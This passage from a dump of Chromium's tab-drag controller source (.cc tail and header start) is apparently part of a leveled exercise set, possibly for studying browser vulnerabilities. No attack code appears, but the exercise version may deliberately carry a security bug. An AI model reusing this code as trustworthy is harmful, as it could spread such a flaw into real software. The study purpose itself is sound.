TabStripModelDelegate::NewStripContents item;\n      // We should have owned_contents here, this CHECK is used to gather data\n      // for https://crbug.com/677806.\n      CHECK(drag_data_[i].owned_contents);\n      item.web_contents = std::move(drag_data_[i].owned_contents);\n      item.add_types = drag_data_[i].pinned ? TabStripModel::ADD_PINNED\n                                            : TabStripModel::ADD_NONE;\n      contentses.push_back(std::move(item));\n    }\n\n    Browser* new_browser =\n        source_context_->GetTabStripModel()\n            ->delegate()\n            ->CreateNewStripWithContents(std::move(contentses), window_bounds,\n                                         widget->IsMaximized());\n    ResetSelection(new_browser->tab_strip_model());\n    new_browser->window()->Show();\n  }\n\n  if (header_drag_) {\n    // Manually reset the selection to just the active tab in the group.\n    // Otherwise, it's easy to accidentally delete the fully-selected group\n    // by dragging on any of its still-selected members.\n    TabStripModel* model = attached_context_\n                               ? attached_context_->GetTabStripModel()\n                               : source_context_->GetTabStripModel();\n    ui::ListSelectionModel selection;\n    int index = model->GetIndexOfWebContents(drag_data_[1].contents);\n    // The tabs in the group may have been closed during the drag.\n    if (index != TabStripModel::kNoTab) {\n      selection.AddIndexToSelection(index);\n      selection.set_active(index);\n      selection.set_anchor(index);\n      model->SetSelectionFromModel(selection);\n    }\n  }\n}\n\nvoid TabDragController::MaximizeAttachedWindow() {\n  GetAttachedBrowserWidget()->Maximize();\n#if defined(OS_MAC)\n  if (was_source_fullscreen_)\n    GetAttachedBrowserWidget()->SetFullscreen(true);\n#endif\n#if BUILDFLAG(IS_CHROMEOS_ASH)\n  if (was_source_fullscreen_) {\n    // In fullscreen mode it is only possible to get here if the source\n    // was in \"immersive fullscreen\" mode, so toggle it back on.\n    BrowserView* browser_view = BrowserView::GetBrowserViewForNativeWindow(\n        GetAttachedBrowserWidget()->GetNativeWindow());\n    DCHECK(browser_view);\n    if (!browser_view->IsFullscreen())\n      chrome::ToggleFullscreenMode(browser_view->browser());\n  }\n#endif\n}\n\nvoid TabDragController::BringWindowUnderPointToFront(\n    const gfx::Point& point_in_screen) {\n  gfx::NativeWindow window;\n  if (GetLocalProcessWindow(point_in_screen, true, &window) ==\n      Liveness::DELETED) {\n    return;\n  }\n\n  // Only bring browser windows to front - only windows with a\n  // TabDragContext can be tab drag targets.\n  if (!CanAttachTo(window))\n    return;\n\n  if (window) {\n    views::Widget* widget_window =\n        views::Widget::GetWidgetForNativeWindow(window);\n    if (!widget_window)\n      return;\n\n#if BUILDFLAG(IS_CHROMEOS_ASH)\n    // TODO(varkha): The code below ensures that the phantom drag widget\n    // is shown on top of browser windows. The code should be moved to ash/\n    // and the phantom should be able to assert its top-most state on its own.\n    // One strategy would be for DragWindowController to\n    // be able to observe stacking changes to the phantom drag widget's\n    // siblings in order to keep it on top. One way is to implement a\n    // notification that is sent to a window parent's observers when a\n    // stacking order is changed among the children of that same parent.\n    // Note that OnWindowStackingChanged is sent only to the child that is the\n    // argument of one of the Window::StackChildX calls and not to all its\n    // siblings affected by the stacking change.\n    aura::Window* browser_window = widget_window->GetNativeView();\n    // Find a topmost non-popup window and stack the recipient browser above\n    // it in order to avoid stacking the browser window on top of the phantom\n    // drag widget created by DragWindowController in a second display.\n    for (aura::Window::Windows::const_reverse_iterator it =\n             browser_window->parent()->children().rbegin();\n         it != browser_window->parent()->children().rend(); ++it) {\n      // If the iteration reached the recipient browser window then it is\n      // already topmost and it is safe to return with no stacking change.\n      if (*it == browser_window)\n        return;\n      if ((*it)->type() != aura::client::WINDOW_TYPE_POPUP) {\n        widget_window->StackAbove(*it);\n        break;\n      }\n    }\n#else\n    widget_window->StackAtTop();\n#endif\n\n    // The previous call made the window appear on top of the dragged window,\n    // move the dragged window to the front.\n    if (current_state_ == DragState::kDraggingWindow)\n      attached_context_->AsView()->GetWidget()->StackAtTop();\n  }\n}\n\nviews::Widget* TabDragController::GetAttachedBrowserWidget() {\n  return attached_context_->AsView()->GetWidget();\n}\n\nbool TabDragController::AreTabsConsecutive() {\n  for (size_t i = 1; i < drag_data_.size(); ++i) {\n    if (drag_data_[i - 1].source_model_index + 1 !=\n        drag_data_[i].source_model_index) {\n      return false;\n    }\n  }\n  return true;\n}\n\ngfx::Rect TabDragController::CalculateDraggedBrowserBounds(\n    TabDragContext* source,\n    const gfx::Point& point_in_screen,\n    std::vector<gfx::Rect>* drag_bounds) {\n  gfx::Point center(0, source->AsView()->height() / 2);\n  views::View::ConvertPointToWidget(source->AsView(), &center);\n  gfx::Rect new_bounds(source->AsView()->GetWidget()->GetRestoredBounds());\n\n  gfx::Rect work_area = display::Screen::GetScreen()\n                            ->GetDisplayNearestPoint(last_point_in_screen_)\n                            .work_area();\n  if (new_bounds.size().width() >= work_area.size().width() &&\n      new_bounds.size().height() >= work_area.size().height()) {\n    new_bounds = work_area;\n    new_bounds.Inset(kMaximizedWindowInset, kMaximizedWindowInset,\n                     kMaximizedWindowInset, kMaximizedWindowInset);\n    // Behave as if the |source| was maximized at the start of a drag since this\n    // is consistent with a browser window creation logic in case of windows\n    // that are as large as the |work_area|.\n    was_source_maximized_ = true;\n  }\n\n  if (source->AsView()->GetWidget()->IsMaximized()) {\n    // If the restore bounds is really small, we don't want to honor it\n    // (dragging a really small window looks wrong), instead make sure the new\n    // window is at least 50% the size of the old.\n    const gfx::Size max_size(\n        source->AsView()->GetWidget()->GetWindowBoundsInScreen().size());\n    new_bounds.set_width(std::max(max_size.width() / 2, new_bounds.width()));\n    new_bounds.set_height(std::max(max_size.height() / 2, new_bounds.height()));\n  }\n\n#if BUILDFLAG(IS_CHROMEOS_ASH)\n  if (ash::TabletMode::Get()->InTabletMode()) {\n    new_bounds = GetDraggedBrowserBoundsInTabletMode(\n        source->AsView()->GetWidget()->GetNativeWindow());\n  }\n#endif\n\n  new_bounds.set_y(point_in_screen.y() - center.y());\n  switch (GetDetachPosition(point_in_screen)) {\n    case DETACH_BEFORE:\n      new_bounds.set_x(point_in_screen.x() - center.x());\n      new_bounds.Offset(-mouse_offset_.x(), 0);\n      break;\n    case DETACH_AFTER: {\n      gfx::Point right_edge(source->AsView()->width(), 0);\n      views::View::ConvertPointToWidget(source->AsView(), &right_edge);\n      new_bounds.set_x(point_in_screen.x() - right_edge.x());\n      new_bounds.Offset(drag_bounds->back().right() - mouse_offset_.x(), 0);\n      OffsetX(-drag_bounds->front().x(), drag_bounds);\n      break;\n    }\n    default:\n      break;  // Nothing to do for DETACH_ABOVE_OR_BELOW.\n  }\n\n  // Account for the extra space above the tabstrip on restored windows versus\n  // maximized windows.\n  if (source->AsView()->GetWidget()->IsMaximized()) {\n    const auto* frame_view = static_cast<BrowserNonClientFrameView*>(\n        source->AsView()->GetWidget()->non_client_view()->frame_view());\n    new_bounds.Offset(\n        0, frame_view->GetTopInset(false) - frame_view->GetTopInset(true));\n  }\n  return new_bounds;\n}\n\ngfx::Rect TabDragController::CalculateNonMaximizedDraggedBrowserBounds(\n    views::Widget* widget,\n    const gfx::Point& point_in_screen) {\n  gfx::Rect bounds = widget->GetWindowBoundsInScreen();\n#if BUILDFLAG(IS_CHROMEOS_ASH)\n  if (ash::TabletMode::Get()->InTabletMode())\n    bounds = GetDraggedBrowserBoundsInTabletMode(widget->GetNativeWindow());\n#endif\n\n  // The user has to move the mouse some amount of pixels before the drag\n  // starts. Offset the window by this amount so that the relative offset\n  // of the initial location is consistent. See https://crbug.com/518740\n  bounds.Offset(point_in_screen.x() - start_point_in_screen_.x(),\n                point_in_screen.y() - start_point_in_screen_.y());\n  return bounds;\n}\n\nvoid TabDragController::AdjustBrowserAndTabBoundsForDrag(\n    int tab_area_width,\n    const gfx::Point& point_in_screen,\n    gfx::Vector2d* drag_offset,\n    std::vector<gfx::Rect>* drag_bounds) {\n  attached_context_->ForceLayout();\n  const int dragged_context_width = attached_context_->GetTabDragAreaWidth();\n\n  // If the new tabstrip region is smaller than the old, resize the tabs.\n  if (dragged_context_width < tab_area_width) {\n    const float leading_ratio =\n        drag_bounds->front().x() / float{tab_area_width};\n    *drag_bounds =\n        attached_context_->CalculateBoundsForDraggedViews(attached_views_);\n\n    if (drag_bounds->back().right() < dragged_context_width) {\n      const int delta_x = std::min(\n          int{(leading_ratio * dragged_context_width)},\n          dragged_context_width -\n              (drag_bounds->back().right() - drag_bounds->front().x()));\n      OffsetX(delta_x, drag_bounds);\n    }\n\n    // Reposition the restored window such that the tab that was dragged remains\n    // under the mouse cursor.\n    gfx::Rect tab_bounds = (*drag_bounds)[source_view_index_];\n    gfx::Point offset(\n        base::ClampRound(tab_bounds.width() * offset_to_width_ratio_) +\n            tab_bounds.x(),\n        0);\n    views::View::ConvertPointToWidget(attached_context_->AsView(), &offset);\n    gfx::Rect bounds = GetAttachedBrowserWidget()->GetWindowBoundsInScreen();\n    bounds.set_x(point_in_screen.x() - offset.x());\n    GetAttachedBrowserWidget()->SetBounds(bounds);\n    *drag_offset = point_in_screen - bounds.origin();\n  }\n  attached_context_->SetBoundsForDrag(attached_views_, *drag_bounds);\n}\n\nBrowser* TabDragController::CreateBrowserForDrag(\n    TabDragContext* source,\n    const gfx::Point& point_in_screen,\n    gfx::Vector2d* drag_offset,\n    std::vector<gfx::Rect>* drag_bounds) {\n  gfx::Rect new_bounds(\n      CalculateDraggedBrowserBounds(source, point_in_screen, drag_bounds));\n  *drag_offset = point_in_screen - new_bounds.origin();\n\n  Browser::CreateParams create_params =\n      BrowserView::GetBrowserViewForNativeWindow(\n          GetAttachedBrowserWidget()->GetNativeWindow())\n          ->browser()\n          ->create_params();\n  create_params.user_gesture = true;\n  create_params.in_tab_dragging = true;\n  create_params.initial_bounds = new_bounds;\n  // Do not copy attached window's show state as the attached window might be a\n  // maximized or fullscreen window and we do not want the newly created browser\n  // window is a maximized or fullscreen window since it will prevent window\n  // moving/resizing on Chrome OS. See crbug.com/1023871 for details.\n  create_params.initial_show_state = ui::SHOW_STATE_DEFAULT;\n  // Don't copy the initial workspace since the *current* workspace might be\n  // different and copying the workspace will move the tab to the initial one.\n  create_params.initial_workspace = \"\";\n  Browser* browser = Browser::Create(create_params);\n  is_dragging_new_browser_ = true;\n  // If the window is created maximized then the bounds we supplied are ignored.\n  // We need to reset them again so they are honored.\n  browser->window()->SetBounds(new_bounds);\n\n  return browser;\n}\n\ngfx::Point TabDragController::GetCursorScreenPoint() {\n#if BUILDFLAG(IS_CHROMEOS_ASH)\n  if (event_source_ == EVENT_SOURCE_TOUCH &&\n      aura::Env::GetInstance()->is_touch_down()) {\n    views::Widget* widget = GetAttachedBrowserWidget();\n    DCHECK(widget);\n    aura::Window* widget_window = widget->GetNativeWindow();\n    DCHECK(widget_window->GetRootWindow());\n    gfx::PointF touch_point_f;\n    bool got_touch_point =\n        widget->GetGestureRecognizer()->GetLastTouchPointForTarget(\n            widget_window, &touch_point_f);\n    CHECK(got_touch_point);\n    gfx::Point touch_point = gfx::ToFlooredPoint(touch_point_f);\n    wm::ConvertPointToScreen(widget_window->GetRootWindow(), &touch_point);\n    return touch_point;\n  }\n#endif\n\n  return display::Screen::GetScreen()->GetCursorScreenPoint();\n}\n\ngfx::Vector2d TabDragController::GetWindowOffset(\n    const gfx::Point& point_in_screen) {\n  TabDragContext* owning_context =\n      attached_context_ ? attached_context_ : source_context_;\n  views::View* toplevel_view =\n      owning_context->AsView()->GetWidget()->GetContentsView();\n\n  gfx::Point point = point_in_screen;\n  views::View::ConvertPointFromScreen(toplevel_view, &point);\n  return point.OffsetFromOrigin();\n}\n\nTabDragController::Liveness TabDragController::GetLocalProcessWindow(\n    const gfx::Point& screen_point,\n    bool exclude_dragged_view,\n    gfx::NativeWindow* window) {\n  std::set<gfx::NativeWindow> exclude;\n  if (exclude_dragged_view) {\n    gfx::NativeWindow dragged_window =\n        attached_context_->AsView()->GetWidget()->GetNativeWindow();\n    if (dragged_window)\n      exclude.insert(dragged_window);\n  }\n// TODO(crbug.com/1052397): Revisit the macro expression once build flag switch\n// of lacros-chrome is complete.\n#if defined(OS_LINUX) || BUILDFLAG(IS_CHROMEOS_LACROS)\n  // Exclude windows which are pending deletion via Browser::TabStripEmpty().\n  // These windows can be returned in the Linux Aura port because the browser\n  // window which was used for dragging is not hidden once all of its tabs are\n  // attached to another browser window in DragBrowserToNewTabStrip().\n  // TODO(pkotwicz): Fix this properly (crbug.com/358482)\n  for (auto* browser : *BrowserList::GetInstance()) {\n    if (browser->tab_strip_model()->empty())\n      exclude.insert(browser->window()->GetNativeWindow());\n  }\n#endif\n  base::WeakPtr<TabDragController> ref(weak_factory_.GetWeakPtr());\n  *window = window_finder_->GetLocalProcessWindowAtPoint(screen_point, exclude);\n  return ref ? Liveness::ALIVE : Liveness::DELETED;\n}\n\nvoid TabDragController::SetTabDraggingInfo() {\n#if BUILDFLAG(IS_CHROMEOS_ASH)\n  TabDragContext* dragged_context =\n      attached_context_ ? attached_context_ : source_context_;\n  DCHECK(dragged_context->IsDragSessionActive() &&\n         current_state_ != DragState::kStopped);\n\n  aura::Window* dragged_window =\n      GetWindowForTabDraggingProperties(dragged_context);\n  aura::Window* source_window =\n      GetWindowForTabDraggingProperties(source_context_);\n  dragged_window->SetProperty(ash::kIsDraggingTabsKey, true);\n  if (source_window != dragged_window) {\n    dragged_window->SetProperty(ash::kTabDraggingSourceWindowKey,\n                                source_window);\n  }\n#endif\n}\n\nvoid TabDragController::ClearTabDraggingInfo() {\n#if BUILDFLAG(IS_CHROMEOS_ASH)\n  TabDragContext* dragged_context =\n      attached_context_ ? attached_context_ : source_context_;\n  DCHECK(!dragged_context->IsDragSessionActive() ||\n         current_state_ == DragState::kStopped);\n  // Do not clear the dragging info properties for a to-be-destroyed window.\n  // They will be cleared later in Window's destructor. It's intentional as\n  // ash::SplitViewController::TabDraggedWindowObserver listens to both\n  // OnWindowDestroying() event and the window properties change event, and uses\n  // the two events to decide what to do next.\n  if (dragged_context->GetTabStripModel()->empty())\n    return;\n\n  aura::Window* dragged_window =\n      GetWindowForTabDraggingProperties(dragged_context);\n  dragged_window->ClearProperty(ash::kIsDraggingTabsKey);\n  dragged_window->ClearProperty(ash::kTabDraggingSourceWindowKey);\n#endif\n}\n\nvoid TabDragController::UpdateGroupForDraggedTabs() {\n  TabStripModel* attached_model = attached_context_->GetTabStripModel();\n\n  const ui::ListSelectionModel::SelectedIndices& selected =\n      attached_model->selection_model().selected_indices();\n\n  // Pinned tabs cannot be grouped, so we only change the group membership of\n  // unpinned tabs.\n  std::vector<int> selected_unpinned;\n  for (const int& selected_index : selected) {\n    if (!attached_model->IsTabPinned(selected_index))\n      selected_unpinned.push_back(selected_index);\n  }\n\n  if (selected_unpinned.empty())\n    return;\n\n  const base::Optional<tab_groups::TabGroupId> updated_group =\n      GetTabGroupForTargetIndex(selected_unpinned);\n\n  if (updated_group == attached_model->GetTabGroupForTab(selected_unpinned[0]))\n    return;\n\n  attached_model->MoveTabsAndSetGroup(selected_unpinned, selected_unpinned[0],\n                                      updated_group);\n}\n\nbase::Optional<tab_groups::TabGroupId>\nTabDragController::GetTabGroupForTargetIndex(const std::vector<int>& selected) {\n  // Indices in {selected} are always ordered in ascending order and should all\n  // be consecutive.\n  DCHECK_EQ(selected.back() - selected.front() + 1, int{selected.size()});\n  const TabStripModel* attached_model = attached_context_->GetTabStripModel();\n\n  const int left_tab_index = selected.front() - 1;\n\n  const base::Optional<tab_groups::TabGroupId> left_group =\n      attached_model->GetTabGroupForTab(left_tab_index);\n  const base::Optional<tab_groups::TabGroupId> right_group =\n      attached_model->GetTabGroupForTab(selected.back() + 1);\n  const base::Optional<tab_groups::TabGroupId> current_group =\n      attached_model->GetTabGroupForTab(selected[0]);\n\n  if (left_group == right_group)\n    return left_group;\n\n  // If the tabs on the left and right have different group memberships,\n  // including if one is ungrouped or nonexistent, change the group of the\n  // dragged tab based on whether it is \"leaning\" toward the left or the\n  // right of the gap. If the tab is centered in the gap, make the tab\n  // ungrouped.\n\n  const Tab* left_most_selected_tab =\n      attached_context_->GetTabAt(selected.front());\n\n  const int buffer = left_most_selected_tab->width() / 4;\n\n  // The tab's bounds are larger than what visually appears in order to include\n  // space for the rounded feet. Adding {tab_left_inset} to the horiztonal\n  // bounds of the tab results in the x position that would be drawn when there\n  // are no feet showing.\n  const int tab_left_inset = TabStyle::GetTabOverlap() / 2;\n\n  // Use the left edge for a reliable fallback, e.g. if this is the leftmost\n  // tab or there is a group header to the immediate left.\n  int left_edge =\n      attached_model->ContainsIndex(left_tab_index)\n          ? attached_context_->GetTabAt(left_tab_index)->bounds().right() -\n                tab_left_inset\n          : tab_left_inset;\n\n  // Extra polish: Prefer staying in an existing group, if any. This prevents\n  // tabs at the edge of the group from flickering between grouped and\n  // ungrouped. It also gives groups a slightly \"sticky\" feel while dragging.\n  if (left_group.has_value() && left_group == current_group)\n    left_edge += buffer;\n  if (right_group.has_value() && right_group == current_group &&\n      left_edge > tab_left_inset) {\n    left_edge -= buffer;\n  }\n\n  int left_most_selected_x_position =\n      left_most_selected_tab->x() + tab_left_inset;\n\n  if ((left_most_selected_x_position <= left_edge - buffer) &&\n      left_group.has_value() &&\n      !attached_model->IsGroupCollapsed(left_group.value())) {\n    return left_group;\n  }\n  if ((left_most_selected_x_position >= left_edge + buffer) &&\n      right_group.has_value() &&\n      !attached_model->IsGroupCollapsed(right_group.value())) {\n    return right_group;\n  }\n  return base::nullopt;\n}\n\nbool TabDragController::CanAttachTo(gfx::NativeWindow window) {\n  if (!window)\n    return false;\n\n  BrowserView* other_browser_view =\n      BrowserView::GetBrowserViewForNativeWindow(window);\n  if (!other_browser_view)\n    return false;\n  Browser* other_browser = other_browser_view->browser();\n\n  // Do not allow dragging into a window with a modal dialog, it causes a\n  // weird behavior.  See crbug.com/336691\n#if defined(USE_AURA)\n  if (wm::GetModalTransient(window))\n    return false;\n#else\n  TabStripModel* model = other_browser->tab_strip_model();\n  DCHECK(model);\n  if (model->IsTabBlocked(model->active_index()))\n    return false;\n#endif\n\n  // We don't allow drops on windows that don't have tabstrips.\n  if (!other_browser->SupportsWindowFeature(Browser::FEATURE_TABSTRIP))\n    return false;\n\n  Browser* browser = BrowserView::GetBrowserViewForNativeWindow(\n                         GetAttachedBrowserWidget()->GetNativeWindow())\n                         ->browser();\n\n  // Profiles must be the same.\n  if (other_browser->profile() != browser->profile())\n    return false;\n\n  // Ensure that browser types and app names are the same.\n  if (other_browser->type() != browser->type() ||\n      (browser->is_type_app() &&\n       browser->app_name() != other_browser->app_name())) {\n    return false;\n  }\n\n  return true;\n}\n\nvoid TabDragController::SetDeferredTargetTabstrip(\n    TabDragContext* deferred_target_context) {\n#if BUILDFLAG(IS_CHROMEOS_ASH)\n  if (!deferred_target_context_observer_) {\n    deferred_target_context_observer_ =\n        std::make_unique<DeferredTargetTabstripObserver>();\n  }\n  deferred_target_context_observer_->SetDeferredTargetTabstrip(\n      deferred_target_context);\n#endif\n}\n"
  },
  {
    "path": "LEVEL_2/exercise_5/tab_drag_controller.h",
    "content": "// Copyright (c) 2012 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_UI_VIEWS_TABS_TAB_DRAG_CONTROLLER_H_\n#define CHROME_BROWSER_UI_VIEWS_TABS_TAB_DRAG_CONTROLLER_H_\n\n#include <stddef.h>\n\n#include <memory>\n#include <vector>\n\n#include \"base/memory/weak_ptr.h\"\n#include \"base/scoped_observation.h\"\n#include \"base/timer/timer.h\"\n#include \"build/chromeos_buildflags.h\"\n#include \"chrome/browser/ui/tabs/tab_strip_model_observer.h\"\n#include \"chrome/browser/ui/views/tabs/tab_drag_context.h\"\n#include \"chrome/browser/ui/views/tabs/tab_strip_types.h\"\n#include \"components/tab_groups/tab_group_visual_data.h\"\n#include \"ui/base/models/list_selection_model.h\"\n#include \"ui/gfx/geometry/rect.h\"\n#include \"ui/gfx/native_widget_types.h\"\n#include \"ui/views/widget/widget.h\"\n#include \"ui/views/widget/widget_observer.h\"\n\nnamespace ui {\nclass ListSelectionModel;\n}\nnamespace views {\nclass View;\nclass ViewTracker;\n}\nclass Browser;\nclass KeyEventTracker;\nclass Tab;\nclass TabDragControllerTest;\nclass TabDragContext;\nclass TabSlotView;\nclass TabStripModel;\nclass WindowFinder;\n\n// TabDragController is responsible for managing the tab dragging session. When\n// the user presses the mouse on a tab a new TabDragController is created and\n// Drag() is invoked as the mouse is dragged. If the mouse is dragged far enough\n// TabDragController starts a drag session. The drag session is completed when\n// EndDrag() is invoked (or the TabDragController is destroyed).\n//\n// While dragging within a tab strip TabDragController sets the bounds of the\n// tabs (this is referred to as attached). When the user drags far enough such\n// that the tabs should be moved out of the tab strip a new Browser is created\n// and RunMoveLoop() is invoked on the Widget to drag the browser around. This\n// is the default on aura.\nclass TabDragController : public views::WidgetObserver {\n public:\n  // What should happen as the mouse is dragged within the tabstrip.\n  enum MoveBehavior {\n    // Only the set of visible tabs should change. This is only applicable when\n    // using touch layout.\n    MOVE_VISIBLE_TABS,\n\n    // Typical behavior where tabs are dragged around.\n    REORDER\n  };\n\n  // Indicates the event source that initiated the drag.\n  enum EventSource {\n    EVENT_SOURCE_MOUSE,\n    EVENT_SOURCE_TOUCH,\n  };\n\n  // Amount above or below the tabstrip the user has to drag before detaching.\n  static const int kTouchVerticalDetachMagnetism;\n  static const int kVerticalDetachMagnetism;\n\n  TabDragController();\n  TabDragController(const TabDragController&) = delete;\n  TabDragController& operator=(const TabDragController&) = delete;\n  ~TabDragController() override;\n\n  // Initializes TabDragController to drag the views in |dragging_views|\n  // originating from |source_context|. |source_view| is the view that\n  // initiated the drag and is either a Tab or a TabGroupHeader contained in\n  // |dragging_views|. |mouse_offset| is the distance of the mouse pointer from\n  // the origin of the first view in |dragging_views| and |source_view_offset|\n  // the offset from |source_view|. |source_view_offset| is the horizontal\n  // offset of |mouse_offset| relative to |source_view|.\n  // |initial_selection_model| is the selection model before the drag started\n  // and is only non-empty if the original selection isn't the same as the\n  // dragging set.\n  void Init(TabDragContext* source_context,\n            TabSlotView* source_view,\n            const std::vector<TabSlotView*>& dragging_views,\n            const gfx::Point& mouse_offset,\n            int source_view_offset,\n            ui::ListSelectionModel initial_selection_model,\n            MoveBehavior move_behavior,\n            EventSource event_source);\n\n  // Returns true if there is a drag underway and the drag is attached to\n  // |tab_strip|.\n  // NOTE: this returns false if the TabDragController is in the process of\n  // finishing the drag.\n  static bool IsAttachedTo(const TabDragContext* tab_strip);\n\n  // Returns true if there is a drag underway.\n  static bool IsActive();\n\n  // Returns the pointer of |source_context_|.\n  static TabDragContext* GetSourceContext();\n\n  // Sets the move behavior. Has no effect if started_drag() is true.\n  void SetMoveBehavior(MoveBehavior behavior);\n\n  EventSource event_source() const { return event_source_; }\n\n  // See description above fields for details on these.\n  bool active() const { return current_state_ != DragState::kStopped; }\n  const TabDragContext* attached_context() const { return attached_context_; }\n\n  // Returns true if a drag started.\n  bool started_drag() const { return current_state_ != DragState::kNotStarted; }\n\n  // Returns true if mutating the TabStripModel.\n  bool is_mutating() const { return is_mutating_; }\n\n  // Returns true if we've detached from a tabstrip and are running a nested\n  // move message loop.\n  bool is_dragging_window() const {\n    return current_state_ == DragState::kDraggingWindow;\n  }\n\n  // Returns the tab group being dragged, if any. Will only return a value if\n  // the user is dragging a tab group header, not an individual tab or tabs from\n  // a group.\n  const base::Optional<tab_groups::TabGroupId>& group() const { return group_; }\n\n  // Returns true if currently dragging a tab with |contents|.\n  bool IsDraggingTab(content::WebContents* contents);\n\n  // Invoked to drag to the new location, in screen coordinates.\n  void Drag(const gfx::Point& point_in_screen);\n\n  // Complete the current drag session.\n  void EndDrag(EndDragReason reason);\n\n private:\n  friend class TabDragControllerTest;\n\n#if BUILDFLAG(IS_CHROMEOS_ASH)\n  class DeferredTargetTabstripObserver;\n#endif\n\n  class SourceTabStripEmptinessTracker;\n\n  class DraggedTabsClosedTracker;\n\n  // Used to indicate the direction the mouse has moved when attached.\n  static const int kMovedMouseLeft  = 1 << 0;\n  static const int kMovedMouseRight = 1 << 1;\n\n  enum class DragState {\n    // The drag has not yet started; the user has not dragged far enough to\n    // begin a session.\n    kNotStarted,\n    // The session is dragging a set of tabs within |attached_context_|.\n    kDraggingTabs,\n    // The session is dragging a window; |attached_context_| is that window's\n    // tabstrip.\n    kDraggingWindow,\n    // The session is waiting for the nested move loop to exit to transition\n    // to kDraggingTabs.  Not used on all platforms.\n    kWaitingToDragTabs,\n    // The session is waiting for the nested move loop to exit to end the drag.\n    kWaitingToStop,\n    // The drag session has completed or been canceled.\n    kStopped\n  };\n\n  enum class Liveness {\n    ALIVE,\n    DELETED,\n  };\n\n  // Enumeration of the ways a drag session can end.\n  enum EndDragType {\n    // Drag session exited normally: the user released the mouse.\n    NORMAL,\n\n    // The drag session was canceled (alt-tab during drag, escape ...)\n    CANCELED,\n\n    // The tab (NavigationController) was destroyed during the drag.\n    TAB_DESTROYED\n  };\n\n  // Whether Detach() should release capture or not.\n  enum ReleaseCapture {\n    RELEASE_CAPTURE,\n    DONT_RELEASE_CAPTURE,\n  };\n\n  // Enumeration of the possible positions the detached tab may detach from.\n  enum DetachPosition {\n    DETACH_BEFORE,\n    DETACH_AFTER,\n    DETACH_ABOVE_OR_BELOW\n  };\n\n  // Specifies what should happen when a drag motion exits the tab strip region\n  // in an attempt to detach a tab.\n  enum DetachBehavior {\n    DETACHABLE,\n    NOT_DETACHABLE\n  };\n\n  // Indicates what should happen after invoking DragBrowserToNewTabStrip().\n  enum DragBrowserResultType {\n    // The caller should return immediately. This return value is used if a\n    // nested run loop was created or we're in a nested run loop and\n    // need to exit it.\n    DRAG_BROWSER_RESULT_STOP,\n\n    // The caller should continue.\n    DRAG_BROWSER_RESULT_CONTINUE,\n  };\n\n  // Stores the date associated with a single tab that is being dragged.\n  struct TabDragData {\n    TabDragData();\n    TabDragData(const TabDragData&) = delete;\n    TabDragData& operator=(const TabDragData&) = delete;\n    ~TabDragData();\n    TabDragData(TabDragData&&);\n\n    // The WebContents being dragged.\n    content::WebContents* contents;\n\n    // There is a brief period of time when a tab is being moved from one tab\n    // strip to another [after Detach but before Attach] that the TabDragData\n    // owns the WebContents.\n    std::unique_ptr<content::WebContents> owned_contents;\n\n    // This is the index of the tab in |source_context_| when the drag\n    // began. This is used to restore the previous state if the drag is aborted.\n    int source_model_index;\n\n    // If attached this is the view in |attached_context_|.\n    TabSlotView* attached_view;\n\n    // Is the tab pinned?\n    bool pinned;\n\n    // Contains the information for the tab's group at the start of the drag.\n    struct TabGroupData {\n      tab_groups::TabGroupId group_id;\n      tab_groups::TabGroupVisualData group_visual_data;\n    };\n\n    // Stores the information of the group the tab is in, or nullopt if tab is\n    // not grouped.\n    base::Optional<TabGroupData> tab_group_data;\n  };\n\n  typedef std::vector<TabDragData> DragData;\n\n  // Sets |drag_data| from |view|. This also registers for necessary\n  // notifications and resets the delegate of the WebContents.\n  void InitDragData(TabSlotView* view, TabDragData* drag_data);\n\n  // Overriden from views::WidgetObserver:\n  void OnWidgetBoundsChanged(views::Widget* widget,\n                             const gfx::Rect& new_bounds) override;\n  void OnWidgetDestroyed(views::Widget* widget) override;\n\n  // Forget the source tabstrip. It doesn't exist any more, so it doesn't\n  // make sense to insert dragged tabs back into it if the drag is reverted.\n  void OnSourceTabStripEmpty();\n\n  // A tab was closed in the active tabstrip. Clean up if we were dragging it.\n  void OnActiveStripWebContentsRemoved(content::WebContents* contents);\n\n  // Initialize the offset used to calculate the position to create windows\n  // in |GetWindowCreatePoint|. This should only be invoked from |Init|.\n  void InitWindowCreatePoint();\n\n  // Returns the point where a detached window should be created given the\n  // current mouse position |origin|.\n  gfx::Point GetWindowCreatePoint(const gfx::Point& origin) const;\n\n  void UpdateDockInfo(const gfx::Point& point_in_screen);\n\n  // Saves focus in the window that the drag initiated from. Focus will be\n  // restored appropriately if the drag ends within this same window.\n  void SaveFocus();\n\n  // Restore focus to the View that had focus before the drag was started, if\n  // the drag ends within the same Window as it began.\n  void RestoreFocus();\n\n  // Tests whether |point_in_screen| is past a minimum elasticity threshold\n  // required to start a drag.\n  bool CanStartDrag(const gfx::Point& point_in_screen) const;\n\n  // Invoked once a drag has started to determine the appropriate context to\n  // drag to (which may be the currently attached one).\n  Liveness ContinueDragging(const gfx::Point& point_in_screen)\n      WARN_UNUSED_RESULT;\n\n  // Transitions dragging from |attached_context_| to |target_context|.\n  // |target_context| is NULL if the mouse is not over a valid tab strip.  See\n  // DragBrowserResultType for details of the return type.\n  DragBrowserResultType DragBrowserToNewTabStrip(\n      TabDragContext* target_context,\n      const gfx::Point& point_in_screen);\n\n  // Handles dragging for a touch context when the tabs are stacked. Doesn't\n  // actually reorder the tabs in anyway, just changes what's visible.\n  void DragActiveTabStacked(const gfx::Point& point_in_screen);\n\n  // Moves the active tab to the next/previous tab. Used when the next/previous\n  // tab is stacked.\n  void MoveAttachedToNextStackedIndex(const gfx::Point& point_in_screen);\n  void MoveAttachedToPreviousStackedIndex(const gfx::Point& point_in_screen);\n\n  // Handles dragging tabs while the tabs are attached. |just_attached| should\n  // be true iff this is the first call to MoveAttached after attaching.\n  void MoveAttached(const gfx::Point& point_in_screen, bool just_attached);\n\n  // If necessary starts the |move_stacked_timer_|. The timer is started if\n  // close enough to an edge with stacked tabs.\n  void StartMoveStackedTimerIfNecessary(const gfx::Point& point_in_screen,\n                                        base::TimeDelta delay);\n\n  // Returns the compatible TabDragContext to drag to at the\n  // specified point (screen coordinates), or nullptr if there is none.\n  Liveness GetTargetTabStripForPoint(const gfx::Point& point_in_screen,\n                                     TabDragContext** tab_strip);\n\n  // Returns true if |context| contains the specified point in screen\n  // coordinates.\n  bool DoesTabStripContain(TabDragContext* context,\n                           const gfx::Point& point_in_screen) const;\n\n  // Returns the DetachPosition given the specified location in screen\n  // 